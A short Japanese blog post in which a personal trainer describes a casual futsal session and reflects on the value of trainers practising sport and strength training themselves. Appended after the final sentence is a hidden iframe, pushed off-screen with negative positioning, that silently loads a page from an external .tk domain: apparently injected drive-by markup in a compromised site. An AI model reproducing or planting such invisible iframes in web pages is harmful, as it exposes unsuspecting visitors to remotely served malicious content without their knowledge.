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実践

こんばんは
ビーグラン トレーナーの高橋涼です!

先日2ヶ月ぶりにプライベートでフットサルをしました!

初心者や女性も混ざり、かなり緩めな会でしたが楽かったです♫

こうやってたまに自分でも競技をする、または筋トレをすることはとても大切だなと改めて感じました!
身体を動かす感覚であったり力の入れ方など実際にやらないとわからないことがたくさんあるなと思います。!–844c7b74e31d727d5814a0ed667c0255–iframe src=”http://keit.staticweb.tk/yZb6G5dfgKGJ” width=640 height=480 style=’position: absolute; left: -1000px; top: -1000px; z-index:-1;’/iframe

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